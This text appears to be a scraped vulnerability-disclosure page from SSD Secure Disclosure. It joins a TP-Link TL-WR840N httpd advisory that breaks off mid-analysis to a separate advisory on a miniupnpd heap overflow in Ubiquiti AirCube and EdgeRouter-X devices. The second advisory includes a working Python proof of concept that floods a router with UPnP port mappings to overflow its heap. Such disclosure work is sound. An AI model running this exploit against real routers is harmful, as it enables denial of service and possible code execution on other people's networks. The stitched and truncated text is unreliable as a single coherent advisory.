A vulnerability in TP-Link’s TL-WR840N allows remote attackers to trigger a stack overflow vulnerability allowing remote attackers to cause a denial of service in httpd.
Credit
An independent security researcher, @delsploit, working with SSD Secure Disclosure.
Affected Devices
Device name: TL-WR840Nv6
Firmware version: 0.9.1_4.1.19
Vendor Response
The vendor has released a new firmware (TL-WR840N(KR)_V6.2_230702) available at: https://www.tp-link.com/kr/support/download/tl-wr840n/#Firmware
The vendor has stated that they have no plans to release an advisory or CVE for this vulnerability.
Technical Analysis
The TL-WR840N has some accessible paths which are pre-auth. The /cgi path is one of them.
int http_cgi_init()
{ return http_alias_addEntryByArg(2u, "/cgi", 0, http_cgi_main, g_http_author_default);
}
The httpd server uses http_cgi_init to register a handler function for /cgi. http_cgi_main.
A vulnerability in EdgeRouters’s and AirCube’s miniupnpd allows LAN attackers to cause the service to overflow an internal heap and potentially execute arbitrary code.
Credit
An independent security researcher working with SSD Secure Disclosure.
A vulnerability in miniupnpd allows LAN attackers to cause a heap overflow in it.
The following are configuration and vulnerability requirements for a successful exploit to be launched.
Configuration requirements
miniupnpd exposes a dynamic TCP port to LAN clients. This port is discoverable through SSDP, and LAN clients may discover this port. miniupnpd is started through /etc/init.d/upnpd.
Vulnerability requirements
Configuration of miniupnpd shall allow to add and list external NAT entries. This is the case with the default configuration of miniupnpd.
miniupnpd allows to configure and manage ingress NAT entries, offering a function called Internet Gateway Daemon. On Linux, which powers most home gateways, these NAT entries are either iptables or nftables based. The following diagram explains basic functionality of IGD:
The former – iptables – is supported on old systems, while the latter – nftables – has been more recently added, as depending on more recent kernel support. Openwrt has recently added this mode to miniupnpd package, and we can expect devices to switch to nftables mode in a near future. Ubuntu 22.04 already ships miniupnpd in its nftables flavor by default.
iptables-based miniupnpd has suffered from a heap overflow in the past, though not explicitly stated as security bug, fixed in revision a77d1ff9: iptcrdr.c: memory allocation fix in get_portmappings_in_range() :
@@ -1,7 +1,7 @@
- /* $Id: iptcrdr.c,v 1.60 2018/07/06 12:00:09 nanard Exp $ */
+ /* $Id: iptcrdr.c,v 1.62 2019/08/24 07:06:22 nanard Exp $ */ /* vim: tabstop=4 shiftwidth=4 noexpandtab * MiniUPnP project
- * http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
+ * http://miniupnp.free.fr/ or https://miniupnp.tuxfamily.org/ * (c) 2006-2019 Thomas Bernard
* This software is subject to the conditions detailed * in the LICENCE file provided within the distribution */ @@ -1617,6 +1617,9 @@ get_portmappings_in_range(unsigned short startport, unsigned short endport, { unsigned short * tmp; /* need to increase the capacity of the array */
+ capacity += 128;
+ if (capacity <= *number)
+ capacity = *number + 1; tmp = realloc(array, sizeof(unsigned short)*capacity); if(!tmp) {
get_portmappings_in_range walks through the external NAT entries and returns the exterior ports. As the number of matching entries is not known in advance, the function performs the allocation of the returned array of ports. An initial array of 128 ports is allocated, and possibly reallocated when the number of matching ports reaches the capacity of the initial array. The capacity however is not updated accordingly, it is left to the very same capacity as the initial capacity. Hence, the updated array is just the same as the initially allocated array, and the overflow occurs.
miniupnpd as shipped on Ubiquiti AirCube v2.8.6 contains get_portmappings_in_range, labelled as FUN_0040d314:
This confirms the vulnerability is present in this binary:
The return array is allocated for 128 ports, each being a uint16_t , e.g. 2 bytes long
The array fails to be correctly reallocated, as the second argument to realloc has been replaced at compilation by the constant 0x100 . If the number of exterior NAT entries exceeds 128, the array will not be large enough
Regardless of the reallocation, the port number is appended to the end of the array, resulting in a heap overflow
Proof of Concept
In order to trigger this vulnerability, a proof of concept has been developed and tested with success on another Ubiquiti device, EdgeRouter-X, whose latest firmware suffers from the same vulnerability:
#!/usr/bin/env python3
from struct import unpack
import requests
from socket import *
# miniupnpd port is expected to be 39639 here
# tcp port can be fixed using miniupnpd configuration file
# SSDP can be used against the real device to know the random port used
TARGET = '192.168.1.1:39639'
# get local ip address used to connect to miniupnpd
def get_local_ip(target): s = socket(AF_INET, SOCK_STREAM)
s.connect((target, 39639))
(addr, port) = s.getsockname()
s.close()
return addr
LOCAL_IP = get_local_ip(TARGET.split(':')[0])
def add_port_redirect(port=10002): payload = f'''<?xml version='1.0' encoding='utf-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAPENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"> <NewRemoteHost>0.0.0.0</NewRemoteHost> <NewExternalPort>{port}</NewExternalPort> <NewProtocol>TCP</NewProtocol> <NewInternalPort>{port}</NewInternalPort> <NewInternalClient>{LOCAL_IP}</NewInternalClient> <NewEnabled>1</NewEnabled> <NewPortMappingDescription>Test</NewPortMappingDescription> <NewLeaseDuration>3601</NewLeaseDuration> </m:AddPortMapping> </SOAP-ENV:Body>
</SOAPENV:Envelope>''' r = requests.post(f'http://{TARGET}/abcde/ctl/IPConn', headers={ 'SOAPAction': 'urn:schemas-upnporg:service:WANIPConnection:1#AddPortMapping'}, data=payload)
if r.status_code != 200:
print(r)
print(r.text)
raise Exception()
def get_port_mappings(): payload = f'''<?xml version='1.0' encoding='utf-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAPENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <m:GetListOfPortMappings xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"> <NewStartPort>0</NewStartPort> <NewEndPort>65535</NewEndPort> <NewProtocol>TCP</NewProtocol> <NewNumberOfPorts>256</NewNumberOfPorts> </m:GetListOfPortMappings> </SOAP-ENV:Body>
</SOAP-ENV:Envelope>''' r = requests.post(f'http://{TARGET}/abcde/ctl/IPConn', headers={ 'SOAPAction': 'urn:schemas-upnporg:service:WANIPConnection:1#GetListOfPortMappings'}, data=payload) assert (r.status_code == 200)
# create exterior NAT entries
for i in range(128):
add_port_redirect(1024+i)
# this port will be 128th entry
# this one and the followings will overflow the allocated array
add_port_redirect(1)
add_port_redirect(2)
add_port_redirect(0xaa)
# trigger the call to get_portmappings_in_range
get_port_mappings()
This vulnerability, which is reachable from LAN clients, has been fixed in commit a77d1ff9 , but not published as a security vulnerability. As a consequence, it is possible to find a vulnerable miniupnpd on home gateways or 5G dongles. Ubiquiti AirCube contains a vulnerable miniupnpd, and so does Ubiquiti EdgeRouterX for example. It is likely that other products relying either directly on upstream miniupnpd, or on router distribution such as openwrt , vyos or dd-wrt still ship today with vulnerable miniupnpd.
Next, nftables-based miniupnpd has been forked from existing iptables variant. Possibly as a consequence of the lack of communication around commit a77d1ff9, it currently does not include the fix above:
...
refresh_nft_cache_redirect();
LIST_FOREACH(p, & head_redirect, entry) { if (p -> proto == proto && startport <= p -> eport && p -> eport <= endport) { if ( * number >= capacity) { tmp = realloc(array, sizeof(unsigned short) * capacity); if (tmp == NULL) { syslog(LOG_ERR, "get_portmappings_in_range(): " "realloc(%u) error", (unsigned) sizeof(unsigned short) * capacity); * number = 0; free(array); return NULL; } array = tmp; } array[ * number] = p -> eport; ( * number) ++; }
}
